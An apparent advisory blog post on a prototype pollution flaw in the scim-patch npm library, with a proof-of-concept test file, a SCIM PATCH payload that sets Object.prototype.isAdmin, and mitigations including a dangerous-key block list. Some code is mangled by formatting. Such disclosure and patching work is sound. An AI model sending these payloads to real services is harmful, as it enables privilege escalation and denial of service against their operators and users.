Listen to this Post
How the CVE Works
The vulnerability exists in the `scim-patch` npm library, which implements the SCIM PATCH operation as defined in RFC 7644. The library’s `scimPatch()` function is designed to apply patch operations to SCIM resources. The issue arises in the `addOrReplaceObjectAttribute` function (src/scimPatch.ts:415-427), which iterates over user-supplied `patch.value` using `Object.entries` and processes each key through resolvePaths, which splits the key string on `.` characters.
The `assign` function (src/scimPatch.ts:437-445) then walks the resulting key path without any filtering on dangerous keys. For a key path like ["__proto__", "polluted"], the code checks `”__proto__” in obj` — this is always true because `__proto__` exists on every object. The fresh-object branch is skipped, and `obj = obj[“__proto__”]` now points to Object.prototype. The final write then lands on Object.prototype.polluted. The same mechanism works for `constructor.prototype` keys.
After one such patch, `Object.prototype.someProp` is set process-wide, affecting every plain object in the Node process. Any service that calls `scimPatch()` on attacker-controlled JSON — i.e., any SCIM endpoint accepting PATCH from an external IdP — is exploitable on a stock Node runtime.
The impact is severe: the prototype pollution persists until the Node process restarts, meaning the blast radius is every request that the container handles after the pollution. Attackers can inject properties like `isAdmin` or `polluted` into Object.prototype, leading to privilege escalation, logic bypass, or DoS. The fix is to reject dangerous keys (__proto__, constructor, prototype) in `assign()` before the walk, or to use `Object.create(null)` for intermediate objects and `Object.defineProperty` for the final write.
DailyCVE Form:
Platform: ……. Node.js / npm
Version: …….. <= 0.9.0
Vulnerability :…… Prototype Pollution (CWE-1321)
Severity: ……. High
date: ………. 2024 (disclosed)
Prediction: ….. Patch expected 0.9.1
What Undercode Say:
Check if your project uses scim-patch npm list scim-patch Check version npm view scim-patch version Upgrade to patched version npm install [email protected]
Proof of Concept (test/prototypePollution.test.ts):
import { scimPatch } from '../src/scimPatch';
import { ScimUser } from './types/types.test';
import { expect } from 'chai';
describe('Prototype pollution via scim-patch', () => {
let scimUser: ScimUser;
beforeEach(() => {
scimUser = JSON.parse(<code>{
"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
"id": "tea_4",
"userName": "spiderman",
"name": { "familyName": "Parker", "givenName": "Peter" },
"active": true,
"emails": [{ "value": "[email protected]", "primary": true }],
"roles": [],
"meta": { "resourceType": "User", "created": "x", "lastModified": "x", "location": "x" }
}</code>);
});
afterEach(() => {
delete (Object.prototype as any).polluted;
delete (Object.prototype as any).isAdmin;
});
it('pollutes Object.prototype via a value-key containing <strong>proto</strong>', () => {
expect(({} as any).polluted).to.equal(undefined);
scimPatch(scimUser, [{
op: 'add',
path: 'name',
value: { '<strong>proto</strong>.polluted': 'yes' }
}]);
expect((Object.prototype as any).polluted).to.equal('yes');
expect(({} as any).polluted).to.equal('yes');
});
it('elevates Object.prototype.isAdmin — the admin-escalation shape', () => {
expect(({} as any).isAdmin).to.equal(undefined);
scimPatch(scimUser, [{
op: 'add',
path: 'name',
value: { '<strong>proto</strong>.isAdmin': true }
}]);
expect((Object.prototype as any).isAdmin).to.equal(true);
expect(({} as any).isAdmin).to.equal(true);
});
});
How Exploit:
An attacker sends a SCIM PATCH request with a `value` object containing a key like `__proto__.polluted` or __proto__.isAdmin:
{
"schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
"Operations": [
{
"op": "add",
"path": "name",
"value": {
"<strong>proto</strong>.isAdmin": true
}
}
]
}
When processed by scimPatch(), this pollutes `Object.prototype.isAdmin` globally. Any subsequent code that checks `user.isAdmin` on a plain object (without hasOwnProperty) will see true, leading to privilege escalation.
Protection:
1. Upgrade immediately to `[email protected]` or later.
- If unable to upgrade, call `Object.freeze(Object.prototype)` at process startup. This makes assignment to the frozen prototype a silent no-op (sloppy mode) or a `TypeError` (strict mode). Node’s `–frozen-intrinsics` flag does this for built-ins automatically.
- Apply the minimal patch in your own fork:
const DANGEROUS_KEYS = new Set(['<strong>proto</strong>', 'constructor', 'prototype']); function assign(obj: any, keyPath: Array<string>, value: any, op: string) { for (const key of keyPath) { if (DANGEROUS_KEYS.has(key)) { throw new InvalidScimPatchOp(<code>Forbidden key in patch path: ${key}</code>); } } // ... existing logic } - Alternative safer fix: Switch the walk target to `Object.create(null)` nodes when creating intermediate objects, and use `Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true })` instead of `obj[bash] = value` for the final write.
Impact:
- Privilege Escalation: If auth/middleware code checks `actor.isAdmin` or `req.user.admin` against a plain object that expects the key to be absent, the polluted property grants admin access.
- Logic Bypass / DoS: If any code branches on
obj.name,obj.type,obj.id, etc. against plain objects, the polluted values can alter application logic. A real incident was observed withpg‘s prepared-statement naming check. - Persistence: The pollution lasts until the Node process restarts, affecting every subsequent request handled by the container.
- Scope: The bug is in a SCIM library, but the side effect (
Object.prototypemutation) leaks into the entire Node process.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

